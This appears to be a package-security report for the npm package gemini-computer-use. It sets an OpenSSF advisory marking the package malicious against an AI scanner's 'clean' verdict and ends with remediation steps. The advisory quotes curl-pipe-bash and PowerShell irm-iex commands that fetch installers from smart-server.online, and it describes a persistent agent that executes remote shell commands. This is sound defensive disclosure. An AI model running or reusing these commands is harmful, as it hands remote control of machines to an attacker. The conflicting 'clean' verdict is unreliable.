gemini-computer-use@0.4.5
Alias for remote-harness-mcp: turn any PC, laptop, server or Android phone into an autonomous execution node for Gemini via native MCP.
OpenSSF/OSV Malicious Advisory
imported 4d ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-16355 confirms this npm version as malicious.
Advisory
MAL-2026-16355
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in gemini-computer-use (npm)
Details
The npm entrypoint bin/cli.js, invoked via `npx gemini-computer-use` or `node bin/cli.js`, spawns `bash -c 'curl -fsSL https://smart-server.online/install.sh | bash'` on Unix and `powershell -ExecutionPolicy Bypass` running `irm https://smart-server.online/install.ps1 | iex` on Windows. The URL is mutable, unpinned, and served from a host distinct from the package's publisher repository; whoever controls smart-server.online controls what runs on the host at first launch. The fetched install.sh downloads core/agent.py, server.py, vitals.py, and skills/orchestrator.md from the same gateway (with a fallback to the mutable `main` branch of raw.githubusercontent.com/LevRa7/Computer-use-for-Gemini-App-Web), with no hash or signature verification, and wires them into systemd, launchd, or a Windows autostart entry for persistence across reboots. The persisted core/agent.py opens an outbound WebSocket to `wss://smart-server.online/ws/tunnel?user=...&token=...` and processes JSON-RPC `tools/call` messages; the `bash_exec` handler passes the incoming `command` field to `subprocess.run(cmd, shell=True)`, giving the remote gateway operator arbitrary shell execution on the host. The gateway hostname is hardcoded as the default, and the token pair used for authentication is provided by that same gateway.
## Source: ossf-package-analysis (98cfd64c3f4382ad0470faa70a1604f84cb385a64dbc1eed9bbf68fd244ab887) The OpenSSF Package Analysis project identified 'gemini-computer-use' @ 0.4.3 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
References
Independent LPM AI assessment
CleanIndependent AI assessment: clean. LPM AI assessed this version as clean; the assessments disagree.
The manifest and CLI source describe a thin alias with no lifecycle hooks or independent malicious behavior identified. The child process is the declared companion CLI and receives the invoking user’s arguments.
Static reason
No blocking static signals were detected.
Trigger
A user invokes the gemini-computer-use CLI.
Impact
The companion CLI performs the requested command; no separate attack effect is established by this package’s source.
Mechanism
cli.js resolves remote-harness-mcp and launches its CLI with the caller’s arguments.
AI rationale
The manifest and CLI source describe a thin alias with no lifecycle hooks or independent malicious behavior identified. The child process is the declared companion CLI and receives the invoking user’s arguments.
Evidence
package.jsoncli.js
Independent scan evidence
public snapshotAI called this Clean at 94.0% confidence as Benign with low false-positive risk.
Evidence for AI clean decision
- The manifest exposes cli.js as the package entry point and command, and declares remote-harness-mcp as a dependency.
- When invoked, cli.js launches that dependency’s CLI and passes through the caller’s arguments; this matches the package’s alias role.
- The inspected manifest contains no lifecycle script entries.
Evidence against
Behavioral surface
ChildProcess
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
1{
"name": "gemini-computer-use",
"version": "0.4.5",
"description": "Alias for remote-harness-mcp: turn any PC, laptop, server or Android phone into an autonomous execution node for Gemini via native MCP.",
"main": "cli.js",
"bin": {
"gemini-computer-use": "cli.js"
},
"file
High
Suspicious Dependency Evidence
The manifest exposes cli.js as the package entry point and command, and declares remote-harness-mcp as a dependency.
package.jsonView on unpkg · L17"cli.js"
},
"files": [
"cli.js",
"README.md"
],
"dependencies": {
"remote-harness-mcp": "^0.4.5"
},
"keywords": [
"ge
High
Suspicious Dependency Evidence
The manifest exposes cli.js as the package entry point and command, and declares remote-harness-mcp as a dependency.
package.jsonView on unpkg · L7cli.jsView file
35;
console.error('Install it directly instead: npm install -g remote-harness-mcp');
process.exit(1);
}
const child = spawn(process.execPath, [cli].concat(process.argv.slice(2)), {
stdio: 'inherit'
});
child.on('error', (err) => {
console.
Findings
3 High
HighSuspicious Dependency Evidencepackage.json
HighSuspicious Dependency Evidencepackage.json
HighSuspicious Dependency Evidencecli.js
Affected versions and remediation
This report applies to gemini-computer-use@0.4.5.
See all versions of gemini-computer-use for other recorded verdicts.
- Avoid installing gemini-computer-use@0.4.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.